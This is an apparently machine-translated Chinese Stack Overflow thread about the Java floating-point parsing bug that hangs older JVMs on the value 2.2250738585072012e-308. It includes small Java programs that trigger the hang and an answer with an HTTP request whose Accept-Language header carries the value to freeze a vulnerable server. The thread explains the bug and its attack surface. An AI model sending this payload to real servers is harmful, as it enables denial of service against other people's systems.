哪种类型的Web应用程序可以真实地受到浮动bug的影响?

Syn*_*r0r 9 java floating-point denial-of-service

有一种简单的方法可以完全锁定很多JVM:

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}
Run Code Online (Sandbox Code Playgroud)

或者,挂起编译器:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}
Run Code Online (Sandbox Code Playgroud)

如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题非常简单:您知道哪种精心设计的Web应用程序可以实际受此影响?

换句话说:攻击者可以使用哪种Web应用程序使用已知的弱点执行拒绝服务

这很糟糕,非常糟糕.但是除了使用浮点进行货币计算的程序员之外,我没有看到很多可以崩溃的Java支持的网站.

我可以看到玩具科学小程序是候选人,但除此之外......

这是被阻塞线程的一个线程(在Linux上使用"kill -3"完成):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)
Run Code Online (Sandbox Code Playgroud)

编辑

JVM锁定在这里:

java版"1.5.0_10"Java(TM)2运行时环境,标准版(版本1.5.0_10-b03)Java HotSpot(TM)服务器VM(版本1.5.0_10-b03,混合模式)

java版"1.6.0_17"Java(TM)SE运行时环境(版本1.6.0_17-b04)Java HotSpot(TM)服务器VM(版本14.3-b01,混合模式)

Kev*_*Day 8

许多Web 服务器解析使用Double.parse的HTTP标头的一部分,所以我们在这里处理的基础设施(除任何问题,在容器中运行的应用程序).您链接到的Exploring Binary博客的评论以下面的示例为例:

GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308
Run Code Online (Sandbox Code Playgroud)

如果该请求违背该servlet进行调用以任何本地化的API(然后将试图解析语言标题),上面会关闭服务器.

所以是的,这是一个非常大的问题.攻击面很大,后果相当高.

  • +1.ZOMG.这是**巨大的**.比大多数人(尤其是Java粉丝......不要误解我:我喜欢*Java)意识到的要大. (2认同)

mik*_*obi 7

讨厌陈述显而易见的,但所有允许用户提交字符串"2.2250738585072011e-308"的应用程序,并且调用解析双重打开可以"实际"受到影响.